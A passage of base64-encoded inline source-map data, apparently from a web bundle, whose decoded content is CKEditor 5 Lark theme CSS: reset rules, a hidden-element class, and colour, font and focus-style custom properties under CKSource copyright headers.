pCLDBDQUEyQyxDQUszQyxnR0FBaUcsQ0FLakcsNEdBQTZHLENBSzdHLHNHQUF1RyxDQUt2RyxzREFBdUQsQ0N2QnZELHdCQUF5QixDQUN6Qiw2QkFBOEIsQ0FDOUIsd0RBQTZELENBRTdELHlCQUEwQixDQUMxQiwyQkFBNEIsQ0FDNUIseUJBQTBCLENBQzFCLHdCQUF5QixDQUN6QiwwQkFBMkIsQ0NKM0Isa0NKb0dELENJOUZBLGlEQUlDLFFBQVMsQ0FDVCxTQUFVLENBQ1YsUUFBUyxDQUNULHNCQUF1QixDQUN2QixvQkFBcUIsQ0FDckIscUJBQXNCLENBQ3RCLGVBQWdCLENBR2hCLG9CQUNELENBS0Esb0NBR0Msd0JBQXlCLENBQ3pCLGlHQUFrRyxDQUNsRywwQkFBMkIsQ0FDM0IsZUFBZ0IsQ0FDaEIsa0JBQW1CLENBQ25CLFdBQVksQ0FDWixVQUNELENBR0MsMkJBQ0MsZ0JBQ0QsQ0FFQSx3QkFFQyxzQkFDRCxDQUVBLDBCQUNDLG9CQUNELENBRUEsa0dBR0MsV0FDRCxDQUVBLGdJQUdDLGNBQ0QsQ0FFQSwwQkFDQyxZQUFhLENBQ2IseUJBQ0QsQ0FFQSwwQ0FFQyxTQUFVLENBQ1YsUUFDRCxDQU1ELDhCQUVDLGdCQUNELENDbkZBLE1BQ0Msc0JBQXVCLENDQXZCLGdFQUFpRSxDQUtqRSwwREFBMkQsQ0FLM0Qsd0VBQXlFLENDYnpFLHVCQUE4QixDQUM5QixtREFBMkQsQ0FDM0QsNENBQWtELENBQ2xELG9EQUE0RCxDQUM1RCxtREFBMkQsQ0FDM0Qsa0RBQTJELENBQzNELHlERkZEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBBIGNsYXNzIHdoaWNoIGhpZGVzIGFuIGVsZW1lbnQgaW4gRE9NLlxuICovXG4uY2staGlkZGVuIHtcblx0LyogT3ZlcnJpZGUgc2VsZWN0b3Igc3BlY2lmaWNpdHkuIE90aGVyd2lzZSwgYWxsIGVsZW1lbnRzIHdpdGggc29tZSBkaXNwbGF5XG5cdHN0eWxlIGRlZmluZWQgd2lsbCBvdmVycmlkZSB0aGlzIG9uZSwgd2hpY2ggaXMgbm90IGEgZGVzaXJlZCByZXN1bHQuICovXG5cdGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLXJlc2V0LFxuLmNrLmNrLXJlc2V0X2FsbCxcbi5jay5jay1yZXNldF9hbGwgKiB7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHdpZHRoOiBhdXRvO1xuXHRoZWlnaHQ6IGF1dG87XG5cdHBvc2l0aW9uOiBzdGF0aWM7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbjpyb290IHtcblx0LS1jay16LWRlZmF1bHQ6IDE7XG5cdC0tY2stei1tb2RhbDogY2FsYyggdmFyKC0tY2stei1kZWZhdWx0KSArIDk5OSApO1xufVxuIiwiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgY2xhc3MgdGhhdCBkaXNhYmxlcyBhbGwgdHJhbnNpdGlvbnMgb2YgdGhlIGVsZW1lbnQgYW5kIGl0cyBjaGlsZHJlbi5cbiAqL1xuLmNrLXRyYW5zaXRpb25zLWRpc2FibGVkLFxuLmNrLXRyYW5zaXRpb25zLWRpc2FibGVkICoge1xuXHR0cmFuc2l0aW9uOiBub25lICFpbXBvcnRhbnQ7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbjpyb290IHtcblx0LS1jay1jb2xvci1iYXNlLWZvcmVncm91bmQ6IFx0XHRcdFx0XHRcdFx0XHRoc2woMCwgMCUsIDk4JSk7XG5cdC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kOiBcdFx0XHRcdFx0XHRcdFx0aHNsKDAsIDAlLCAxMDAlKTtcblx0LS1jay1jb2xvci1iYXNlLWJvcmRlcjogXHRcdFx0XHRcdFx0XHRcdFx0aHNsKDAsIDAlLCA3NyUpO1xuXHQtLWNrLWNvbG9yLWJhc2UtYWN0aW9uOiBcdFx0XHRcdFx0XHRcdFx0XHRoc2woMTA0LCA0NCUsIDQ4JSk7XG5cdC0tY2stY29sb3ItYmFzZS1mb2N1czogXHRcdFx0XHRcdFx0XHRcdFx0XHRoc2woMjA5LCA5MiUsIDcwJSk7XG5cdC0tY2stY29sb3ItYmFzZS10ZXh0OiBcdFx0XHRcdFx0XHRcdFx0XHRcdGhzbCgwLCAwJSwgMjAlKTtcblx0LS1jay1jb2xvci1iYXNlLWFjdGl2ZTogXHRcdFx0XHRcdFx0XHRcdFx0aHNsKDIwOCwgODglLCA1MiUpO1xuXHQtLWNrLWNvbG9yLWJhc2UtYWN0aXZlLWZvY3VzOlx0XHRcdFx0XHRcdFx0XHRoc2woMjA4LCA4OCUsIDQ3JSk7XG5cdC0tY2stY29sb3ItYmFzZS1lcnJvcjpcdFx0XHRcdFx0XHRcdFx0XHRcdGhzbCgxNSwgMTAwJSwgNDMlKTtcblxuXHQvKiAtLSBHZW5lcmljIGNvbG9ycyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLWZvY3VzLWJvcmRlci1jb29yZGluYXRlczogXHRcdFx0XHRcdFx0MjA4LCA3OSUsIDUxJTtcblx0LS1jay1jb2xvci1mb2N1cy1ib3JkZXI6IFx0XHRcdFx0XHRcdFx0XHRcdGhzbCh2YXIoLS1jay1jb2xvci1mb2N1cy1ib3JkZXItY29vcmRpbmF0ZXMpKTtcblx0LS1jay1jb2xvci1mb2N1cy1vdXRlci1zaGFkb3c6XHRcdFx0XHRcdFx0XHRcdGhzbCgyMDcsIDg5JSwgODYlKTtcblx0LS1jay1jb2xvci1mb2N1cy1kaXNhYmxlZC1zaGFkb3c6XHRcdFx0XHRcdFx0XHRoc2xhKDIwOSwgOTAlLCA3MiUsLjMpO1xuXHQtLWNrLWNvbG9yLWZvY3VzLWVycm9yLXNoYWRvdzpcdFx0XHRcdFx0XHRcdFx0aHNsYSg5LDEwMCUsNTYlLC4zKTtcblx0LS1jay1jb2xvci10ZXh0OiBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS10ZXh0KTtcblx0LS1jay1jb2xvci1zaGFkb3ctZHJvcDogXHRcdFx0XHRcdFx0XHRcdFx0aHNsYSgwLCAwJSwgMCUsIDAuMTUpO1xuXHQtLWNrLWNvbG9yLXNoYWRvdy1kcm9wLWFjdGl2ZTpcdFx0XHRcdFx0XHRcdFx0aHNsYSgwLCAwJSwgMCUsIDAuMik7XG5cdC0tY2stY29sb3Itc2hhZG93LWlubmVyOiBcdFx0XHRcdFx0XHRcdFx0XHRoc2xhKDAsIDAlLCAwJSwgMC4xKTtcblxuXHQvKiAtLSBCdXR0b25zIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWJhY2tncm91bmQ6IFx0XHRcdFx0XHRcdHRyYW5zcGFyZW50O1xuXHQtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWhvdmVyLWJhY2tncm91bmQ6IFx0XHRcdFx0aHNsKDAsIDAlLCA5MCUpO1xuXHQtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWFjdGl2ZS1iYWNrZ3JvdW5kOiBcdFx0XHRcdGhzbCgwLCAwJSwgODUlKTtcblx0LS1jay1jb2xvci1idXR0b24tZGVmYXVsdC1hY3RpdmUtc2hhZG93OiBcdFx0XHRcdFx0aHNsKDAsIDAlLCA3NSUpO1xuXHQtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWRpc2FibGVkLWJhY2tncm91bmQ6IFx0XHRcdFx0dHJhbnNwYXJlbnQ7XG5cblx0LS1jay1jb2xvci1idXR0b24tb24tYmFja2dyb3VuZDogXHRcdFx0XHRcdFx0XHRoc2woMCwgMCUsIDg3JSk7XG5cdC0tY2stY29sb3ItYnV0dG9uLW9uLWhvdmVyLWJhY2tncm91bmQ6IFx0XHRcdFx0XHRcdGhzbCgwLCAwJSwgNzclKTtcblx0LS1jay1jb2xvci1idXR0b24tb24tYWN0aXZlLWJhY2tncm91bmQ6IFx0XHRcdFx0XHRoc2woMCwgMCUsIDczJSk7XG5cdC0tY2stY29sb3ItYnV0dG9uLW9uLWFjdGl2ZS1zaGFkb3c6IFx0XHRcdFx0XHRcdGhzbCgwLCAwJSwgNjMlKTtcblx0LS1jay1jb2xvci1idXR0b24tb24tZGlzYWJsZWQtYmFja2dyb3VuZDogXHRcdFx0XHRcdGhzbCgwLCAwJSwgODclKTtcblxuXHQtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24tYmFja2dyb3VuZDogXHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1hY3Rpb24pO1xuXHQtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24taG92ZXItYmFja2dyb3VuZDogXHRcdFx0XHRcdGhzbCgxMDQsIDQ0JSwgNDMlKTtcblx0LS1jay1jb2xvci1idXR0b24tYWN0aW9uLWFjdGl2ZS1iYWNrZ3JvdW5kOiBcdFx0XHRcdGhzbCgxMDQsIDQ0JSwgNDElKTtcblx0LS1jay1jb2xvci1idXR0b24tYWN0aW9uLWFjdGl2ZS1zaGFkb3c6IFx0XHRcdFx0XHRoc2woMTA0LCA0NCUsIDM2JSk7XG5cdC0tY2stY29sb3ItYnV0dG9uLWFjdGlvbi1kaXNhYmxlZC1iYWNrZ3JvdW5kOiBcdFx0XHRcdGhzbCgxMDQsIDQ0JSwgNTglKTtcblx0LS1jay1jb2xvci1idXR0b24tYWN0aW9uLXRleHQ6IFx0XHRcdFx0XHRcdFx0XHR2YXIoLS1jay1jb2xvci1iYXNlLWJhY2tncm91bmQpO1xuXG5cdC0tY2stY29sb3ItYnV0dG9uLXNhdmU6IFx0XHRcdFx0XHRcdFx0XHRcdGhzbCgxMjAsIDEwMCUsIDI3JSk7XG5cdC0tY2stY29sb3ItYnV0dG9uLWNhbmNlbDogXHRcdFx0XHRcdFx0XHRcdFx0aHNsKDE1LCAxMDAlLCA0MyUpO1xuXG5cdC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vZmYtYmFja2dyb3VuZDpcdFx0XHRcdFx0aHNsKDAsIDAlLCA2OSUpO1xuXHQtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24tb2ZmLWhvdmVyLWJhY2tncm91bmQ6XHRcdFx0XHRoc2woMCwgMCUsIDY0JSk7XG5cdC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vbi1iYWNrZ3JvdW5kOlx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24tYmFja2dyb3VuZCk7XG5cdC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vbi1ob3Zlci1iYWNrZ3JvdW5kOlx0XHRcdFx0aHNsKDEwNCwgNDQlLCA0MyUpO1xuXHQtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24taW5uZXItYmFja2dyb3VuZDpcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKTtcblx0LS1jay1jb2xvci1zd2l0Y2gtYnV0dG9uLWlubmVyLXNoYWRvdzpcdFx0XHRcdFx0XHRoc2xhKDAsIDAlLCAwJSwgMC4xKTtcblxuXHQvKiAtLSBEcm9wZG93biAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLWRyb3Bkb3duLXBhbmVsLWJhY2tncm91bmQ6IFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG5cdC0tY2stY29sb3ItZHJvcGRvd24tcGFuZWwtYm9yZGVyOiBcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtYm9yZGVyKTtcblxuXHQvKiAtLSBJbnB1dCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLWlucHV0LWJhY2tncm91bmQ6IFx0XHRcdFx0XHRcdFx0XHR2YXIoLS1jay1jb2xvci1iYXNlLWJhY2tncm91bmQpO1xuXHQtLWNrLWNvbG9yLWlucHV0LWJvcmRlcjogXHRcdFx0XHRcdFx0XHRcdFx0aHNsKDAsIDAlLCA3OCUpO1xuXHQtLWNrLWNvbG9yLWlucHV0LWVycm9yLWJvcmRlcjpcdFx0XHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1lcnJvcik7XG5cdC0tY2stY29sb3ItaW5wdXQtdGV4dDogXHRcdFx0XHRcdFx0XHRcdFx0XHR2YXIoLS1jay1jb2xvci1iYXNlLXRleHQpO1xuXHQtLWNrLWNvbG9yLWlucHV0LWRpc2FibGVkLWJhY2tncm91bmQ6IFx0XHRcdFx0XHRcdGhzbCgwLCAwJSwgOTUlKTtcblx0LS1jay1jb2xvci1pbnB1dC1kaXNhYmxlZC1ib3JkZXI6IFx0XHRcdFx0XHRcdFx0aHNsKDAsIDAlLCA3OCUpO1xuXHQtLWNrLWNvbG9yLWlucHV0LWRpc2FibGVkLXRleHQ6IFx0XHRcdFx0XHRcdFx0aHNsKDAsIDAlLCA0NiUpO1xuXG5cdC8qIC0tIExpc3QgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xuXG5cdC0tY2stY29sb3ItbGlzdC1iYWNrZ3JvdW5kOiBcdFx0XHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKTtcblx0LS1jay1jb2xvci1saXN0LWJ1dHRvbi1ob3Zlci1iYWNrZ3JvdW5kOiBcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYnV0dG9uLWRlZmF1bHQtaG92ZXItYmFja2dyb3VuZCk7XG5cdC0tY2stY29sb3ItbGlzdC1idXR0b24tb24tYmFja2dyb3VuZDogXHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1hY3RpdmUpO1xuXHQtLWNrLWNvbG9yLWxpc3QtYnV0dG9uLW9uLWJhY2tncm91bmQtZm9jdXM6IFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1hY3RpdmUtZm9jdXMpO1xuXHQtLWNrLWNvbG9yLWxpc3QtYnV0dG9uLW9uLXRleHQ6XHRcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG5cblx0LyogLS0gUGFuZWwgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXG5cblx0LS1jay1jb2xvci1wYW5lbC1iYWNrZ3JvdW5kOiBcdFx0XHRcdFx0XHRcdFx0dmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKTtcblx0LS1jay1jb2xvci1wYW5lbC1ib3JkZXI6IFx0XHRcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtYm9yZGVyKTtcblxuXHQvKiAtLSBUb29sYmFyIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLXRvb2xiYXItYmFja2dyb3VuZDogXHRcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtZm9yZWdyb3VuZCk7XG5cdC0tY2stY29sb3ItdG9vbGJhci1ib3JkZXI6IFx0XHRcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtYm9yZGVyKTtcblxuXHQvKiAtLSBUb29sdGlwIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZDogXHRcdFx0XHRcdFx0XHRcdHZhcigtLWNrLWNvbG9yLWJhc2UtdGV4dCk7XG5cdC0tY2stY29sb3ItdG9vbHRpcC10ZXh0OiBcdFx0XHRcdFx0XHRcdFx0XHR2YXIoLS1jay1jb2xvci1iYXNlLWJhY2tncm91bmQpO1xuXG5cdC8qIC0tIEVuZ2luZSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xuXG5cdC0tY2stY29sb3ItZW5naW5lLXBsYWNlaG9sZGVyLXRleHQ6IFx0XHRcdFx0XHRcdGhzbCgwLCAwJSwgNDQlKTtcblxuXHQvKiAtLSBVcGxvYWQgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuXHQtLWNrLWNvbG9yLXVwbG9hZC1iYXItYmFja2dyb3VuZDpcdFx0IFx0XHRcdFx0XHRoc2woMjA5LCA5MiUsIDcwJSk7XG5cblx0LyogLS0gTGluayAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xuXG5cdC0tY2stY29sb3ItbGluay1kZWZhdWx0Olx0XHRcdFx0XHRcdFx0XHRcdGhzbCgyNDAsIDEwMCUsIDQ3JSk7XG5cdC0tY2stY29sb3ItbGluay1zZWxlY3RlZC1iYWNrZ3JvdW5kOlx0XHRcdFx0XHRcdGhzbGEoMjAxLCAxMDAlLCA1NiUsIDAuMSk7XG5cdC0tY2stY29sb3ItbGluay1mYWtlLXNlbGVjdGlvbjpcdFx0XHRcdFx0XHRcdFx0aHNsYSgyMDEsIDEwMCUsIDU2JSwgMC4zKTtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQvKipcblx0ICogQW4gb3BhY2l0eSB2YWx1ZSBvZiBkaXNhYmxlZCBVSSBpdGVtLlxuXHQgKi9cblx0LS1jay1kaXNhYmxlZC1vcGFjaXR5OiAuNTtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQvKipcblx0ICogVGhlIGdlb21ldHJ5IG9mIHRoZSBvZiBmb2N1c2VkIGVsZW1lbnQncyBvdXRlciBzaGFkb3cuXG5cdCAqL1xuXHQtLWNrLWZvY3VzLW91dGVyLXNoYWRvdy1nZW9tZXRyeTogMCAwIDAgM3B4O1xuXG5cdC8qKlxuXHQgKiBBIHZpc3VhbCBzdHlsZSBvZiBmb2N1c2VkIGVsZW1lbnQncyBvdXRlciBzaGFkb3cuXG5cdCAqL1xuXHQtLWNrLWZvY3VzLW91dGVyLXNoYWRvdzogdmFyKC0tY2stZm9jdXMtb3V0ZXItc2hhZG93LWdlb21ldHJ5KSB2YXIoLS1jay1jb2xvci1mb2N1cy1vdXRlci1zaGFkb3cpO1xuXG5cdC8qKlxuXHQgKiBBIHZpc3VhbCBzdHlsZSBvZiBmb2N1c2VkIGVsZW1lbnQncyBvdXRlciBzaGFkb3cgKHdoZW4gZGlzYWJsZWQpLlxuXHQgKi9cblx0LS1jay1mb2N1cy1kaXNhYmxlZC1vdXRlci1zaGFkb3c6IHZhcigtLWNrLWZvY3VzLW91dGVyLXNoYWRvdy1nZW9tZXRyeSkgdmFyKC0tY2stY29sb3ItZm9jdXMtZGlzYWJsZWQtc2hhZG93KTtcblxuXHQvKipcblx0ICogQSB2aXN1YWwgc3R5bGUgb2YgZm9jdXNlZCBlbGVtZW50J3Mgb3V0ZXIgc2hhZG93ICh3aGVuIGhhcyBlcnJvcnMpLlxuXHQgKi9cblx0LS1jay1mb2N1cy1lcnJvci1vdXRlci1zaGFkb3c6IHZhcigtLWNrLWZvY3VzLW91dGVyLXNoYWRvdy1nZW9tZXRyeSkgdmFyKC0tY2stY29sb3ItZm9jdXMtZXJyb3Itc2hhZG93KTtcblxuXHQvKipcblx0ICogQSB2aXN1YWwgc3R5bGUgb2YgZm9jdXNlZCBlbGVtZW50J3MgYm9yZGVyIG9yIG91dGxpbmUuXG5cdCAqL1xuXHQtLWNrLWZvY3VzLXJpbmc6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1mb2N1cy1ib3JkZXIpO1xufVxuIiwiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG46cm9vdCB7XG5cdC0tY2stZm9udC1zaXplLWJhc2U6IDEzcHg7XG5cdC0tY2stbGluZS1oZWlnaHQtYmFzZTogMS44NDYxNTtcblx0LS1jay1mb250LWZhY2U6IEhlbHZldGljYSwgQXJpYWwsIFRhaG9tYSwgVmVyZGFuYSwgU2Fucy1TZXJpZjtcblxuXHQtLWNrLWZvbnQtc2l6ZS10aW55OiAwLjdlbTtcblx0LS1jay1mb250LXNpemUtc21hbGw6IDAuNzVlbTtcblx0LS1jay1mb250LXNpemUtbm9ybWFsOiAxZW07XG5cdC0tY2stZm9udC1zaXplLWJpZzogMS40ZW07XG5cdC0tY2stZm9udC1zaXplLWxhcmdlOiAxLjhlbTtcbn1cbiIsJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQvKiBUaGlzIGlzIHN1cGVyLWltcG9ydGFudC4gVGhpcyBpcyAqKm1hbnVhbGx5KiogYWRqdXN0ZWQgc28gYSBidXR0b24gd2l0aG91dCBhbiBpY29uXG5cdGlzIG5ldmVyIHNtYWxsZXIgdGhhbiBhIGJ1dHRvbiB3aXRoIGljb24sIGFkZGl0aW9uYWxseSBtYWtpbmcgc3VyZSB0aGF0IHRleHQtbGVzcyBidXR0b25zXG5cdGFyZSBwZXJmZWN0IHNxdWFyZXMuIFRoZSB2YWx1ZSBpcyBhbHNvIHNoYXJlZCBieSBvdGhlciBjb21wb25lbnRzIHdoaWNoIHNob3VsZCBzdGF5ICJpbi1saW5lIlxuXHR3aXRoIGJ1dHRvbnMuICovXG5cdC0tY2stdWktY29tcG9uZW50LW1pbi1oZWlnaHQ6IDIuM2VtO1xufVxuXG4vKipcbiAqIFJlc2V0cyBhbiBlbGVtZW50LCBpZ25vcmluZyBpdHMgY2hpbGRyZW4uXG4gKi9cbi5jay5jay1yZXNldCxcbi5jay5jay1yZXNldF9hbGwsXG4uY2suY2stcmVzZXRfYWxsICoge1xuXHQvKiBEbyBub3QgaW5jbHVkZSBpbmhlcml0YWJsZSBydWxlcyBoZXJlLiAqL1xuXHRtYXJnaW46IDA7XG5cdHBhZGRpbmc6IDA7XG5cdGJvcmRlcjogMDtcblx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0dmVydGljYWwtYWxpZ246IG1pZGRsZTtcblx0dHJhbnNpdGlvbjogbm9uZTtcblxuXHQvKiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvaXNzdWVzLzEwNSAqL1xuXHR3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG59XG5cbi8qKlxuICogUmVzZXRzIGFuIGVsZW1lbnQgQU5EIGl0cyBjaGlsZHJlbi5cbiAqL1xuLmNrLmNrLXJlc2V0X2FsbCxcbi5jay5jay1yZXNldF9hbGwgKiB7XG5cdC8qIFRoZXNlIGFyZSBydWxlIGluaGVyaXRlZCBieSBhbGwgY2hpbGRyZW4gZWxlbWVudHMuICovXG5cdGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG5cdGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIHZhcigtLWNrLWZvbnQtc2l6ZS1iYXNlKS92YXIoLS1jay1saW5lLWhlaWdodC1iYXNlKSB2YXIoLS1jay1mb250LWZhY2UpO1xuXHRjb2xvcjogdmFyKC0tY2stY29sb3ItdGV4dCk7XG5cdHRleHQtYWxpZ246IGxlZnQ7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdGN1cnNvcjogYXV0bztcblx0ZmxvYXQ6IG5vbmU7XG59XG5cbi5jay5jay1yZXNldF9hbGwge1xuXHQmIC5jay1ydGwgKiB7XG5cdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdH1cblxuXHQmIGlmcmFtZSB7XG5cdFx0LyogRm9yIElFICovXG5cdFx0dmVydGljYWwtYWxpZ246IGluaGVyaXQ7XG5cdH1cblxuXHQmIHRleHRhcmVhIHtcblx0XHR3aGl0ZS1zcGFjZTogcHJlLXdyYXA7XG5cdH1cblxuXHQmIHRleHRhcmVhLFxuXHQmIGlucHV0W3R5cGU9InRleHQiXSxcblx0JiBpbnB1dFt0